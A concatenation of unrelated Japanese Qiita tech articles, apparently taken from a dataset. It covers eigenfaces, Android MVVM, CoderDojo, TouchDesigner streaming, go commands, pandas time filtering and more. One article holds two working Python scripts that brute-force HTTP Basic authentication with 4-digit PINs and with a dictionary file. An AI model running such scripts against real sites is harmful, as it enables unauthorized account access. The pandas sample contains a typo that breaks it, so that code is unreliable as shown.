OmniAICreator/Qiita-1.07M huggingface dataset:
scikit-learn の顔照合の実装

scikit-learn にも顔照合の実装があることに気づいた。

## scikit-learn [Faces recognition example using eigenfaces and SVMs](http://scikit-learn.org/0.18/auto_examples/applications/face_recognition.html)


使用しているデータベースは
[Labeled Faces in the Wild](http://vis-www.cs.umass.edu/lfw/)


[Deep Funneling](http://vis-www.cs.umass.edu/deep_funnel.html)という手法で画像の正規化をしています。

~/scikit_learn_data/lfw_home/lfw_funneled

のディレクトリに人物ごとに別のフォルダに画像が収められています。

```
lfw_people = fetch_lfw_people(min_faces_per_person=70, resize=0.4)
```
として読み込んだlfw_peopleには
```
n_samples, h, w = lfw_people.images.shape
```

とあるように、画像の大きさがh, wとそろった画像がn_samples の枚数そろったものになっています。

n_classes: 6
とあり、６名が各クラスとなって識別をしています

```
lfw_people = fetch_lfw_people(min_faces_per_person=30, resize=0.4)
```
などとして、min_faces_per_personの値を変えると
分類する人の数が増えていきます。


タイトルのとおり、固有顔とSVMを用いている。

SVMを用いることで、固有顔のどの成分が識別に有効かどうかを判定していることになるのだと思う。

固有顔のいくつかは、照明変動のように、個人の識別に役に立たない成分です。
そのような成分は、SVMで分離性を上げるようにfit()したことで重みが低下しているのだろうと推測します。


顔照合の一般的な使い方とは違って
小規模の人数について区別することを行っています。

| Ariel Sharon  | 0.67  | 0.92  | 0.77  | 13 |
|:--|--:|--:|--:|--:|
| Colin Powell  | 0.75  | 0.78  | 0.76  | 60 |
| Donald Rumsfeld  | 0.78  | 0.67  | 0.72  | 27 |
| George W Bush  | 0.86  | 0.86  | 0.86  | 146 |
| Gerhard Schroeder  | 0.76  | 0.76  | 0.76  | 25 |
| Hugo Chavez  | 0.67  | 0.67  | 0.67  | 15 |
| Tony Blair  | 0.81  | 0.69  | 0.75  | 36 |
| avg / total  | 0.80  | 0.80  | 0.80  | 322 |


そのために、スクリプトを実行して表示される固有顔自体も、特定の人物たちの顔つきを反映しているように見えます。
(本当にそうかどうかは、未確認)


自分で、顔画像を登録したり、新たに撮影した顔画像を照合するには、顔画像を正規化する部分も実装しなくてはなりません。

以下の記事は、入力のデータベースの変更に関する質問です。
[How to modify scikit-learn's eigenface face recognition example](https://stackoverflow.com/questions/37009237/how-to-modify-scikit-learns-eigenface-face-recognition-example)

> The parameters data_home (give your path here!) and download_if_missing (unset it ie. provide False value for it) are there exactly for this purpose!
https://github.com/scikit-learn/scikit-learn/blob/14031f6/sklearn/datasets/lfw.py#L229
def fetch_lfw_people(data_home=None, funneled=True, resize=0.5,
                     min_faces_per_person=0, color=False,
                     slice_=(slice(70, 195), slice(78, 172)),
download_if_missing=True):


http://scikit-learn.sourceforge.net/0.6/auto_examples/applications/plot_face_recognition.html


scikit-learn-examples-fork https://app.dominodatalab.com/u/marks/scikit-learn-examples-fork/view/.ipynb_checkpoints/Labeled+Faces+in+the+Wild+recognition-checkpoint.ipynb?commitId=f6ae6e0747392770773fbe649ff928ee214ab548


- [【翻訳】scikit-learn 0.18 チュートリアル 科学的データ処理のための統計学習のチュートリアル すべてを一緒に入れて](https://qiita.com/nazoking@github/items/ffc840037c31c0f37171)

- [顔画像データセット Labeled Faces in the Wild の aligned with deep funneling とは](https://qiita.com/peroon/items/6762c86674bf024d996c)
- github [LFW dataset, converted to fuel](https://github.com/dribnet/lfw_fuel#lfw-dataset-converted-to-fuel)
ReluxのAndroidアプリを作り直している話

こんにちは。宿泊予約サービス[Relux](https://rlx.jp/)のAndroidアプリの開発を担当している赤池です。

増築に増築を繰り返してきたAndroidプロジェクトに今時っぽい設計を取り入れていっていますってお話です。同じように「そろそろ設計見直さないとやばいよな、、」って感じている方に少しでも参考になれば幸いです。


# なぜ作り直しているのか
ReluxのAndroidアプリは2015年初頭にJavaアプリ化しました。スピード優先でリリースし、その土台の上に機能拡張を繰り返してきた結果、いわゆるマッチョなActivity化がどんどん進行・・・。

ただ、Androidアプリ開発担当は当時からずっと自分一人。ちゃんとした設計がなくても何とかなっていましたが、次第に以下のような問題が顕在化しはじめます。

- どこに何を書くべきかのルールがないので、既存の処理をコードを追って把握しないとならないことが増えたり（自分で書いたのに忘れる）、書き換えるべきコードが点在したりすることで**改修コストが大きくなっていく**。

-  機能変更の際などに書き換えるべき箇所が点在しているので、**影響範囲の把握漏れでバグを仕込んでしまう**ことが。

- UIとビジネスロジックが入り組んでいたり特定クラスが肥大化しているので、**将来的なチーム開発やテストの導入などが困難**。

これらの課題の解決のために設計を見直すことにしました。
また、Javaアプリ化した当時とは違い現在では 設計のベストプラクティス的なものがだいぶ固まってきているので、もはや導入していて当然くらいのレベルになっていることも理由の一つです。

# どんな設計を採用したのか
いわゆるMVVMを採用しています。

<img width="756" alt="スクリーンショット 2017-12-08 15.46.45.png" src="https://qiita-image-store.s3.amazonaws.com/0/53088/b6074bd0-8017-07fa-04f4-c1debafecb9b.png">

#### 使っている主なライブラリ
- OkHttp3 
- Dagger2
 - Retrofit2
- RxJava2
- DataBinding

MVVMや各種ライブラリに関しては他の人の素晴らしい記事が色々あるので詳細は割愛させていただきますが、大事なのは**レイヤーごとの責務と依存関係を明確に定める**ことです。定めることでどこに何を書くかが明確になり、ある変更がレイヤーをまたいで問題を起こすことも少なくなり、柔軟で軽リスクの開発ができるからです。

とはいえ、Reluxアプリではこの設計を着くずしている部分もちらほらもあります。ModelにはインフラやRepository層をもうけつつ、UseCaseは冗長になりすぎる感があったのでもうけずViewModelで処理していることなど。

最低限守るルールは守りつつ課題に対して逆効果になりそうな部分は着くずし、**個々のプロジェクトの規模や特性にあわせて柔軟に設計する**のが良いのかなーと思います。

# どのように進めているのか
開発担当一人体制で機能追加などの通常タスクと並行しておこなっているので、合間の時間をうまく捻出して段階的に進めています。そもそも時間をさくのが難しいっていう状況の方もいるかもしれませんが、今のままだとヤバいんですってことをちゃんと伝えて何とかコンセンサスとってください(^^)

#### 一、サンプルアプリで色々試す
既に知見が深い方なら別ですが、設計自体やライブラリに初めての試みが含まれている場合、**サンプルアプリを作って一通りちゃんと使ってみる**ことをオススメします。思わぬ挙動にぶち当たったり、一度導入を進めると大きな方針変更がしづらくなるので、本体にいきなり導入だとリスクがあるからです。
自分の場合はタイミングよく[ReluxMagazine](https://play.google.com/store/apps/details?id=com.loco_partners.relux_magazine)というミニアプリを作るプロジェクトが持ち上がっていたので、その話に乗っかって色々と試しました。

#### 二、モデルを実装し置き換えていく
まずはAPI通信などのインフラ層などを新しくしました。UIに比べて置き換えやすいと思うのでまずはここから着手します。ReluxではDagger2とRxJava2を利用して依存関係を定義/調整しましたが、この段階ではModelとView(Activity/Fragment)がその関係になります。

#### 三、View/ViewModelを実装し置き換えていく
ReluxはUI側の比重が高いアプリなので、ここに一番時間がかかっていて現在も取り組み中です。
DataBindingを導入したのですが、この書き換えは工数がかかります。ListViewだったところをRecyclerViewとObservableListとBindingAdapterを使ってごにょごにょみたいな形に書き換えたりもしているのですが、DataBindingは最低限の利用と割り切ってViewModel側（プログラム）に値のsetなどの処理を書くのも一つかなと思います。

また、モデルの実装でも同じくですが、できるだけ通常タスクで改修する箇所にうまく乗っける形で進めるよう心がけています。そうすることでテストの工数などが多少軽くなるので。

#### 四、最後全体調整
ミニアプリで試して方針決めてから導入を進めましたが、それでも実装を進めていくうちに新たな発見や新しい技術の登場がおこり、やっぱこういう設計の方がよかったかなーという気持ちが湧きあがります。でもそれらを全部適用していくとキリがないので、一旦期限をきっています。
ちなみにReluxはここまでに約一年かかっています。通常タスクをやる人と作り直しをする人がそれぞれいるとベターかと。

# おわりに
文章ばかりですみません。。
CoderDojo西新宿@JustSystemsについて

この記事は
[CoderDojo Advent Calendar 2017](https://adventar.org/calendars/2184)
[JustSystems Advent Calendar 2017](https://qiita.com/advent-calendar/2017/justsystems)
の12月12日の記事です。

# 誰？
JustSystemsでは Qiita Teamで社内技術情報の共有を図っており、そちらには何度か記事を上げているのですが、Qiitaには初投稿なんですよね。
簡単に自己紹介すると、JustSystemsでは[スマイルゼミ小学生コース](https://smile-zemi.jp/shogaku/)の開発責任者をやっている大島 教雄(おおしま のりお)と申します。
ボランティアで[CoderDojo西新宿@JustSystems](https://coderdojo-nishishinjuku.connpass.com/)のチャンピオンをやってます。

今回は、私がなぜCoderDojo西新宿@JustSystemsのチャンピオンをやっているのか？といったあたりを書いていきます。

# きっかけ

仕事がら教育関係なので、2020年から、小学生のプログラミング必修化といったことは知っていて、いずれ関わる必要があるだろうなぁとは思っていましたが、CoderDojoへの関わりは仕事からではなく、自分の子供がプログラミングに興味を持ったからです。
最初は、近所でロボット・プログラミング教室の体験会があったのと時を同じくしてNHKのWhy!プログラミングを観たことから。
近くでScratchを体験できることはないかと、探してみたら見つかったのが「[CoderDojoさいたま](http://coderdojo-saitama.com/)」でした。
子供たちはScratchでプログラミングをして、楽しんでいますし、家でもパソコン使って続きを作ったりしている様子を見ていると、手伝いたくなってきます。
気がつけば、自分もメンターとして参加していました。

# 転機

何度かメンターをやっている中で、CoderDojoの盛り上がりを知ることになっていきます。CoderDojoさいたまは、いつもすぐにニンジャの枠は埋まって、キャンセル待ち状態
自分の子供たちも、参加するのは大変な感じ
じゃぁ自分でDojo立ち上げたらいいんじゃないなぁ、なんて思ったが、色々、聞いてみると、メンターをやっていて、自分で新たにDojoをはじめようと考える人もいるけど、色々と大変らしい

まず大変なのは**場所**
プログラミングをすることから、何かしらネットワークにつなげられるようにしたいが、Wi-Fiが整って人が集まれる場所がなかなかない。しかもCoderDojoはボランティアで運営なので、場所代も考えないといけない。

休日につかえる会議室・・・:rolling_eyes:　お、会社の会議室使えるんじゃないか？

次に大変なのは**人**
自分がチャンピオンやるとしても、他にメンター誰もいない状態だと、ちょっと無理そう。何人か参加してくれそうなメンターがいて欲しい。

もしかして、会社の開発で興味ある人がいるかも？
ってことで、Qiita Teamで呼びかけ！:hand_splayed:

すると、結構、いいね:thumbsup:がつくではないですか
これで、人もなんとかなりそう

なんかいけそうな気がしてきました。

# 開始

休日は使われることはないとはいえ、勝手に会社の会議室を使っちゃうのはまずいので、どうしたものか？ってことで早速、上司と、[CDO](https://twitter.com/miki_cdo) に相談です。

「CoderDojoってのがあってですね、会社の会議室つかってやってみようと思うんですけど、いいですかねぇ。開発も勉強会の感じで参加すると、得られるものもあると思うんですよ」

「ほうほう、いいじゃない」

ということで（実際にはもうちょっとやりとりがありましたが）さくっと許可がもらえました。:open_hands:

こんな感じで、[CoderDojo西新宿@JustSystems](https://coderdojo-nishishinjuku.connpass.com/) は始まったのでした。

2017年2月19日に第1回を開催してから、これまでに9回開催
JustSystemsの社員だけでなく他の会社の方などもメンターとして参加してくれました。
そこには、会社の仕事だけでは得られない、出会いや気づきがあります。
この1年、CoderDojoを通じて、自分にとって新たな世界を切り開けたかなぁと思ってます。

是非、一緒にCoderDojoやってみませんか
トレダビ（株投資ゲーム）にPython3でログイン・株の売買をする

# TradeDerPy
- トレダビという株売買シミュレーションサイトのスクレイピング用モジュールをPython3で作成しました。
- selenium, beautifulsoup4を使っています。
- 今のところChromeに対応しています。headlessもできます。
- 使用に関しては自己責任でお願いします。
- ソースコードは[TradeDerPy](https://github.com/nabehide/TradeDerPy)です。

## 準備
### (Headless) Chrome
- [chrome](https://www.google.co.jp/chrome/browser/desktop/index.html)をインストール、[chrome driver](https://sites.google.com/a/chromium.org/chromedriver/downloads)をダウンロードして解凍しましょう。

### TradeDerPy
- pipを使うか、

```
$ pip install TradeDerPy
```

- git cloneなどでモジュールをインストールしてください。

```
git clone https://github.com/nabehide/TradeDerPy.git
cd TradeDerPy
python setup.py install
```

## 使い方
### importなど
- まずimportとログインに必要な設定などを書きます。

``` examples.py
from TradeDerPy import TradeDerPy

# ログインしたいアカウントのユーザーネームとパスワード
account = {
    "username": "YOUR_USERNAME",
    "password": "YOUR_PASSWORD",
}
config = {
    "headless": True, # headlessで実行したい時はTrue
    "debug": True,  # 実行結果などを出力したい場合はTrue
    "driverPath": "./chromedriver",  # chromedriverのパス
}
```

### login
- アカウント情報などを渡して、ブラウザを開いてログインします。

```
td = TradeDerPy(account, config)
td.open()  # ブラウザを開く
td.login()  # ログイン
```

### データ取得・表示
- 情報を取得・表示できます。

```
td.getStatus()  # 現在の取引状況（取引できる状態か）を取得
td.showStatus()  # 取引状況を表示

td.getHold()  # 現在持っている株の情報を取得
td.showHold()  # 持っている株の情報を表示

td.getOrder()  # 現在の取引の待ち状況を取得
td.showOrder()  # 取引の待ち状況を表示

td.getSuggested()  # おすすめな株を取得（Starが2のもの）
td.showSuggested()  # おすすめな株を表示
```

### 買う
- おすすめな株の情報を取得して、その中から選んで買います。

```
td.getSuggested()  # おすすめな株を取得（Starが2のもの）
if len(td.suggested) != 0:  # おすすめな株があれば買う
    idx = 0  # おすすめな株リストの1番目を選択
    name = td.suggested["name"][idx]  # 株の番号（****Tの****の部分）
    maximum = 1000000  # 購入金額の最大値（この金額以内で買えるだけ買う）
    td.buy(name, maximum)
```

### 売る
- 現在持っている株の情報を取得して、その中から選んで売ります。

```
td.getHold()  # 現在持っている株の情報を取得
if len(td.hold) != 0:  # 現在何かしらの株を持っていれば売る
    idx = 0  # 現在持っている株リストの1番目を選択
    name = td.hold["name"][0]  # 株の名前
    url = td.hold["sellURL"][0]  # 売却ページのURL
    td.sell(name, url)
```

### 終了
- close()でブラウザを閉じます

```
td.close()
```

### Examples
- [リポジトリのexamples](https://github.com/nabehide/TradeDerPy/tree/master/examples)に簡単なコードがあるので、こちらも参考にしてください。

# 自動実行
- 何分かごとに自動で実行するスケジューラ([PyCmdSched](https://github.com/nabehide/PyCmdSched))も作成中です。
玄箱proのフラッシュブートモードのnslookupやwgetでunknown hostが出力される場合の対処

DNSで名前解決するように設定する。

リゾルバの設定(/etc/resolv.conf)
> nameserver XXX.XXX.XXX.XXX

/etc/nsswitch.confにdnsを追加
> hosts: files dns
たった3秒で中二仕様の（ほぼ）全部入りの管理画面を手に入れる。

男に生まれたからには
誰でも一生の内一度は夢見る「地上最強の管理画面」
僕がそれをたった3秒で手に入れた方法を特別に公開します。

# 対象読者

* 超絶かっこいい全部入りの管理画面が欲しい方
* 自社（自分）のサービスの管理画面がダサい方
    * ささっといい感じの管理画面を作りたい方 ← 実は一番こういう人に読んでほしい

# 環境
node v8.7.0

# 管理画面とは
サービスを運用をしていく上で
サービスの色々管理し、助けてくれるシステムです。

そこでこんな要望があります。

* 分析したいから、こういうデータを見れるようにして！
* 管理画面でこんな機能作って！
* このデータを可視化したい！グラフ作って〜！

わあああああ
とりあえず管理できればいいから、一旦UIやデザインは適当に...

となりがち、
サービスの運用のためだけなら、デザインは適当でいいですが、
顧客にも管理画面を提供するとなったときどうしますか？

作るのめんどくさ:poop:

# 地上最強の管理画面 ngx-admin
そこでたった3秒で手に入る管理画面を紹介します
[地上最強の管理画面 ngx-admin](https://github.com/akveo/ngx-admin)

## 1秒目 - 00:00:01 -
↓のコマンドをコピペしてコンソールに貼り付けて管理画面を落としてきます。

```
git clone https://github.com/akveo/ngx-admin.git
```

gitで落としている間は漫画でも読んでおきましょう
おすすめはキングダムです。

## 2秒目 - 00:00:02 -

落としてきたら該当ディレクトリに移動してnpmをインストールします

```
cd ngx-admin/
npm i
npm start
```

インストール中にトイレでも行きましょう

## 3秒目 - 00:00:03 -
↓にアクセスします
http://localhost:4200/
其処に広がるは超絶神秘的天上天下唯我独尊全知全能管理画面

<img width="1678" alt="スクリーンショット 2017-12-12 1.13.09.png" src="https://qiita-image-store.s3.amazonaws.com/0/109713/9b85c571-b2bc-86e4-aa6d-db24f960a51f.png">
JavaScriptで小数点の誤差が発生する件の備忘録

プログラマになりたいフロントエンドの人です。
なんだかものすごく楽勝そうに見えてものすごく躓いたので備忘録に…。

## どこからこの子は来たの？ってなった

消費税の計算をしてみたところ…

```js:script.js
function totalPrice(price, tax=1.08){
  return price*tax;
}
document.write(totalPrice(450)+"円"); 
 ```
こうなった!

486<font color="DeepPink">.00000000000006</font>円

486円になるはずなのに、この小数点以下はどこから来たんでしょう…。
priceが300円だったら普通に324円になるのに、450円だったら現れるこの小数点以下の子達は一体どこから来たんでしょう…。

## 丸め誤差

そもそも、コンピューター内部で数値は2進法で計算されます。

10進法 → 0・1・2・3・4・5
2進法 → 0・1・10・11・100・101 

ので、桁数の多い数字や小数点を処理するのは大変…というかできないんです(´・ω・`)ｼｮﾎﾞﾝ

そこで、うまく丸こんだ（丸め操作 ≒ 切り上げ・切り捨てなど）時に発生する誤差のことを**丸め誤差**と言います。

## IEEE754

うまく丸めこむために、具体的には、浮動小数点数が使われます。
お馴染みの固定小数点数は小数点の位置を境目に0より小さい数字であると表現しているのですが、浮動小数点数は、データ(ビット)で数値を表現します。
その浮動小数点数の標準がIEEE754(浮動小数点数算術標準)なんです。

オフィシャルサイトわかりづらすぎて[wikipediaさん](https://ja.wikipedia.org/wiki/IEEE_754)がありがたい。

データとして数値を扱うためのルールが細かく規定されています。
やっと話が見えて来ました！

## …で？どうすれば？

javascriptで計算しない、という選択肢を除いて、一体どうすればいいのでしょうかと思いまして、やり方を探してみました。

### 全部整数にしてみる

```js
function totalPrice(price, tax=108, taxInteger=100){
  return price*tax/taxInteger;
}
document.write(totalPrice(450)+"円"); 
 ```
=> 486円

`1.08*100`だと結局丸め操作入るからな〜と思い、この書き方で求めている解は出るようになりましたが、実際いちいち手作業で100倍にして100で割るのは現実的ではないので他の方法はないものかと思い…


#### ライブラリを使う

ちょっとした計算のためだけになぁという感じもしますが、今のところ現実的な解決策です。
ここらがメジャーなライブラリのようです。

[BigDecimal.js](https://github.com/dtrebbien/BigDecimal.js)
[decimal.js](https://github.com/MikeMcl/decimal.js)


ライブラリ使わずに自前でガシガシ書けるようになりたい！


## 参考になったサイト

わかりやすかったです。ありがとうございます！

[ダックさん - ビットで表す数字の世界～浮動小数点編～](http://www.altima.jp/column/fpga_edison/bit_number_float.html)
[Asial Blogさん - JavaScriptによる小数計算の誤差を無くす]
(http://blog.asial.co.jp/1191)
TouchDesignerでリアルタイム番組を作る【Wowza連携】

TouchDesigner Advent Calendar 2017 12日目

TouchDesignerのVideo Stream Inオペレーターを使った記事です。
きっと国内未踏！:older_man_tone1:

担当は[TouchDesigner日本コミュニティWEBページ](http://touchdesigner.jp/)の更新さぼりのキリョウ([@_kiryo](https://twitter.com/_kiryo))がお送りします！（ごめんなさい）

##できること
国内外どこのスマホからでも自分のTouchDesignerに向けて動画がリアルタイムで取り込めて、
エフェクトやテロップの画像を動かせる


##事前知識
・TouchDesignerの基礎知識
オペレーターの意味がわかるくらい。

・AWSの基礎知識
インスタンスたてられるくらい。
リアルタイムで動画を取得するには、
動画の一時的なデータを格納しておくストリーミングサーバーを建てる必要があります。
今回は、AWSで自前で建てられるWOWZAを使います。




##ストリーミングサーバーの構築

EC2インスタンス群にWOWZAエンジンを搭載したインスタンスを作ります。

[手順記事](https://dev.classmethod.jp/cloud/aws/aws-wowza46-live-streaming/)


- 今回は、VODではなくLiveStreamingです。
- スマホにインストールしたwowza GoCoderから、PCブラウザで配信を確認できるところまですすめてみてください。


WOWZAも比較的新しく、2年前は公式の英語文献だけでした。。日本語マジ感謝:innocent:



##TouchDesignerにつなぐ

先にWOWZAの方で、TouchDesigner内で利用する動画のアドレスを確認します。
ブラウザから、自分で作成したアプリを選び、test playerを選択。
![1.PNG](https://qiita-image-store.s3.amazonaws.com/0/156691/52486a6e-6900-6633-bd6f-2ff5c09d92b1.png)

↓　モバイルタブをクリック。Androidの方に表示されているのが、使用する動画のアドレスです。コピーします。
![2.PNG](https://qiita-image-store.s3.amazonaws.com/0/156691/a9017214-bd66-60d8-af39-78852c467d4d.png)


ここまできたら、TouchDesignerを開き、Video Stream Inオペレーターに貼り付けます。
アドレスを一文字変更します。

rtsp://インスタンスのIP:1935/
↓
rtmp://インスタンスのIP:1935/

![3.png](https://qiita-image-store.s3.amazonaws.com/0/156691/e55d904b-e4e8-9ab6-9c40-fddadf87d1d8.png)

スマホのGocoderで配信が開始されていれば、この時点でオペレーターの縦横比がスマホのサイズにかわり、
映像が流れてきます。



##適当にテロップ作る

あとはお好きなタッチでデザイナるだけ:muscle:
今回はphotoshopで適当なpng画像を用意したので、addで重ねていきます。
モノクロにしたりグリッジやブラーといったエフェクト系をかけてもいいですね。
一人で番組さみしい…
![5.PNG](https://qiita-image-store.s3.amazonaws.com/0/156691/9b7a2e8f-c18b-fecd-8070-d82c0e331edb.png)


これは自室ですが、勿論スマホはAWSとつながっているので、USAのオバマのスマホにGoCoder入れれば、オバマが映ります:hugging:なお、画像を作るときに、スマホの解像度とあわせないと調整のめんどみが深いので気を付けましょう。。。



また、WOWZAは同一サーバー内で複数のストリームアプリケーションを作成できます。
VideoStreamInを2個用意して、サイズを調整してかさねれば、ワイプも作れますね。

PCからWOWZAに動画をいれたい場合は、FFMPEGやadobeMediaEncoderを使ってもOKです。


*-ストリーミングプロトコル備考-*
*ストリーミング通信には、rtmp/rstp/hlsなど、専用のプロトコルが多く存在します。*
*国内では、低ビットレートでも劣化しずらいHLSを使用しているアプリをよく見かけますが、*
*touchdesignerではHLSは使いません。また、rtspはなぜか通らなかったので、rtmpに変更しました。。。*
![4.png](https://qiita-image-store.s3.amazonaws.com/0/156691/53771fb1-de02-daa5-4298-0ed9fd9b69d0.png)




##感想

遠隔地の動画をリアルタイムでタッチにとりこめるのは、とても可能性があると思うんです…

今後の予定としては、音声用のAudioStreamInがまだためせていないのと、
逆にStreamOutが使えればツイキャスの放送に自分でエフェクトかけながら放送もできたらいいな！

ちなみに実務的なところでいうと、WOWZAオンリーだと、AWSはスパイク的なリクエスト増に対応していなかったり、
負荷分散となるwowzaEdgeの機能がcloudfrontでのCDNに対応していないので、
現状大勢に映像配信というよりは、イベントなどで1台で大きく映すような用途が向いていると思います:joy:

連携系は、WATSONでリアルタイム字幕あたりをくみあわせてみたいと思います！



ではでは！キリョウ([@_kiryo](https://twitter.com/_kiryo))がお送りしました:v:
PythonでBasic認証へ総当たり攻撃

# 行ったこと
* 4桁の数字のみを使ったBasic認証への総当たり攻撃
* 辞書ファイルを使ったBasicn認証への総当たり攻撃

# 条件
* パスワード解析のみを行うため，ユーザーIDは知っているという状態
    * わからなかったら，ソーシャルエンジニアリングでもしてください（笑）

# 環境
* Python 3

# 総当たり攻撃（数字4桁）

```python3

import urllib.request

def attack_basic(url,user_id):
    for password in range(1,10000):
        password = str(password)
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)
    

if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)


```

# 総当たり攻撃（辞書ファイル）

```python3
import urllib.request

def attack_basic(url,user_id):
    f = open("","r")
    passlist=f.read().splitlines()
    for password in passlist:
        try:
            pass_mgr = urllib.request.HTTPPasswordMgrWithDefaultRealm()
            pass_mgr.add_password(realm=None,uri=url,user=user_id,passwd=password)
            handler = urllib.request.HTTPBasicAuthHandler(pass_mgr)
            opener = urllib.request.build_opener(handler)
            urllib.request.install_opener(opener)
            urllib.request.urlopen(url)
            print("%s is correct!" % password)
        except urllib.request.HTTPError as err:
            print("%s is incorrect" % password)
    

if __name__ == '__main__':
    url = ""
    user_id = ""
    attack_basic(url,user_id)

```

# 最後に
* どちらも悪用厳禁
    * 正直やったところで，ひっかかるWebページは超少ないと思う．
    * これでパスワードがばれるような人は早急に変更しましょう
Google Play ストアの累計ダウンロード数表示区分

##Google Play ストアの累計ダウンロード数表示
アプリを Play ストアで配布したが、アプリのページが寂しかった。
「カテゴリー」と「類似のアイテム」しか表示されていなかったので、累計ダウンロード数はいつ出てくるのか知りたかったのに書かれているサイトが見つからなかった。

利用者はどのくらいインストール数を把握できるのかも気になったのでまとめました。

| Android                    | Web               |
|:---------------------------|:------------------|
| 0 回以上のダウンロード       |                   |
| 1 回以上のダウンロード       | 1～5              |
| 5 回以上のダウンロード       | 5～10             |
| 10 回以上のダウンロード      | 10～50            |
| 50 回以上のダウンロード      | 50～100           |
| 100 回以上のダウンロード     | 100～500          |
| 500 回以上のダウンロード     | 500～1,000        |

100 回以上のダウンロード以降、Android 版 Google Play Store のアプリページにバッジのようなものが表示されるようになります。

のこりはわかり次第追記していきます。
goコマンドざっくりまとめ

ざっくりまとめです。

## サンプルコード
こちらを使用して紹介していきます

```go
package main

import (
	"fmt"
)

func main() {
	fmt.Println(adder(1, 2))
}

func adder(a, b int) int {
	return a + b
}
```

## **go run**
binaryファイルを作成せずに実行することができる

```bash
$ go run main.go
3
```

## **go build**
binaryファイルを作成する

```bash
$ go build main.go

## 実行成功すると何も表示されない
## mybinaryみたいなものが生成される

$ ./mybinary
3
```

クロスコンパイルも容易にできる
例えばLinux用に配布したい場合

```bash
$ GOOS=linux GOARCH=amd64 go build main.go

## 同じようにmybinaryが生成される
```

## **go clean**
buildとかtestとかで出力したものを削除してくれる

```
_obj/            Makefilesにより残された、古いオブジェクトディレクトリ
_test/           Makefilesにより残された、古いテストディレクトリ
_testmain.go     Makefilesにより残された、古いgotestファイル
test.out         Makefilesにより残された、古いテストログ
build.out        Makefilesにより残された、古いテストログ
*.[568ao]        Makefilesにより残された、古いオブジェクトファイル

DIR(.exe)        go buildから生成
DIR.test(.exe)   go test -cから生成
MAINFILE(.exe)   go build MAINFILE.goから生成
*.so             SWIGから生成
```

## **go test**
`_test.go`というファイルのテストを実行してくれる

```bash
$ go test -v .
=== RUN   Test_adder
=== RUN   Test_adder/ok
--- PASS: Test_adder (0.00s)
    --- PASS: Test_adder/ok (0.00s)
PASS
ok  	path/to/mybinary	0.006s
```

test単体でも実行可能

```bash
$ go test -run Test_adder
=== RUN   Test_adder
=== RUN   Test_adder/ok
--- PASS: Test_adder (0.00s)
    --- PASS: Test_adder/ok (0.00s)
PASS
ok  	path/to/mybinary	0.006s
```

### option 一部
- `-parallel n`
	- テスト関数の並行実行がこれにて可能
	- n並行数を決められる
- `-timeout t`
	- テストがtよりも長く実行している場合、panic強制的にpanicを起こす
- `-memprofile mem.out`
	- 全てのテスト完了後に指定したファイルにメモリプロファイルを残す事ができる
- `-benchmem`
	- ベンチマークのためのメモリ割り当てを出力する

## **go get [option] package**
- `-u`
	- 常に最新の状態をダウンロードする
	- つけない場合はローカルにないもののみをダウンロード
- `-t`
	- ダウンロード後ビルド前にテストを実行してくれる
	- 失敗した場合はビルドしないようになる

## **go generate**
```go
// go:generate go get -u package
package main
```

上記のようにコメントしておくとgenerate以下のコマンドを実行してくれる。

## Makefileとかと組み合わせると便利っすね
```Makefile
# ビルドした後に実行とか
build:
	go build
	./mybinary
	
# 依存関係ツールとか使ってない人はこんな感じにしておくとか
deps:
	go get -u path/to/~~~
	go get -u path/to/~~~
	go get -u path/to/~~~

# テスト実行	
test:
	go test -v .

# カバレッジの計測
covarage:
	go test -v . -coverprofile=cover.out
	go tool cover cover.out
```


## まとめ
結論Godocをしっかり読めよって話。
Goコマンド関連に限らずGodoc読むことが大事だね

## link

- [Command Go](http://golang-jp.org/cmd/go/)
（個人メモ）python 日付などをkey にした集計

Apacheログからの集計で日付毎の集計はよくやるのですが、ピーク時間帯だけを抽出して日付単位に合計と推移を評価したいなんてことが良くあります。

Apacheログ→Pandasでread_csv時にParseするわけなのですが、フォーマットは%Y-%m-%d %H:%M:%Sで列に入っていて日付と時間を分離するのもちょっとめんどくさい話になります。日付抽出はfloor('24h')などを使って時間部分を切り捨てればなんとかなりますが、時間部分だけ分離するのは少々苦労します。

結局断念しました。

で、なにか他の方法がないか探ったら・・いいやつがありました。
以下サンプルコードです。Pandas便利です。

~~~python
import pandas as pd
import datetime
import  numpy as np
rng = pd.date_range(start = '2014-01-01',periods = 100, freq='H')
df_original = pd.DataFrame({'Volume' : np.ranpdom.randint(100,2000,len(rng))}, index=rng)
df_original.head()
~~~
データはこんな感じで生成します。
これをつかって演算。

Volume
2014-01-01 00:00:00	790
2014-01-01 01:00:00	423
2014-01-01 02:00:00	197
2014-01-01 03:00:00	509
2014-01-01 04:00:00	1214
2014-01-01 05:00:00	826
2014-01-01 06:00:00	706
2014-01-01 07:00:00	1098
2014-01-01 08:00:00	126

...	...
2014-01-04 16:00:00	1668
2014-01-04 17:00:00	1422
2014-01-04 18:00:00	354
2014-01-04 19:00:00	1683
2014-01-04 20:00:00	1364
2014-01-04 21:00:00	1218
2014-01-04 22:00:00	1250
2014-01-04 23:00:00	552
2014-01-05 00:00:00	302
2014-01-05 01:00:00	814
2014-01-05 02:00:00	802
2014-01-05 03:00:00	874


# 9時〜11時のデータを日をまたいで抽出します。串刺しのイメージ。
~~~python
# 縦串（日付をまたいで）時間範囲抽出
from datetime import time
df_original.loc[time(9, 0):time(11, 0)]

# こちらでもOK
df_original.between_time(time(9, 0),time(11, 0))
~~~

Volume
2014-01-01 09:00:00	1644
2014-01-01 10:00:00	540
2014-01-01 11:00:00	1217
2014-01-02 09:00:00	1671
2014-01-02 10:00:00	846
2014-01-02 11:00:00	460
2014-01-03 09:00:00	155
2014-01-03 10:00:00	1741
2014-01-03 11:00:00	1918
2014-01-04 09:00:00	937
2014-01-04 10:00:00	966
2014-01-04 11:00:00	398

## これはすごい・・・ちゃんと日付を通じて特定時間帯データを抽出出来てます。

#さらに時間帯抽出結果を日別集計。
~~~python
df_original.between_time(time(9, 0),time(11, 0)).resample('D').mean()
~~~
##バッチリ出来てます。
Volume
2014-01-01	1133.666667
2014-01-02	992.333333
2014-01-03	1271.333333
2014-01-04	767.000000


